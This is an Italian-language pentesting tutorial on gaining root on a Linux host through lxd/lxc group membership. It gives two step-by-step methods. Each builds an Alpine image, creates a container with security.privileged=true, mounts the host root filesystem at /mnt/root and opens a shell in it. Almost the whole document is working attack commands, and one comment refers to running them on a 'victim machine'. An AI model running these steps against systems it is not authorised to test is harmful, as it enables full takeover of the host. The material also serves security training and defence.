lxd/lxc Group - Privilege escalation

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Se appartieni al gruppo lxd o lxc, puoi diventare root

Sfruttare senza internet

Metodo 1

Puoi installare sulla tua macchina questo costruttore di distribuzioni: https://github.com/lxc/distrobuilder (segui le istruzioni del github):

sudo su
# Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools

# Clone repo
git clone https://github.com/lxc/distrobuilder

# Make distrobuilder
cd distrobuilder
make

# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Create the container
## Using build-lxd
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18

Carica i file lxd.tar.xz e rootfs.squashfs, aggiungi l'immagine al repository e crea un contenitore:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Se trovi questo errore Errore: Nessun pool di archiviazione trovato. Si prega di creare un nuovo pool di archiviazione Esegui lxd init e ripeti il precedente blocco di comandi

Infine puoi eseguire il contenitore e ottenere root:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Metodo 2

Costruisci un'immagine Alpine e avviala utilizzando il flag security.privileged=true, costringendo il container a interagire come root con il filesystem host.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

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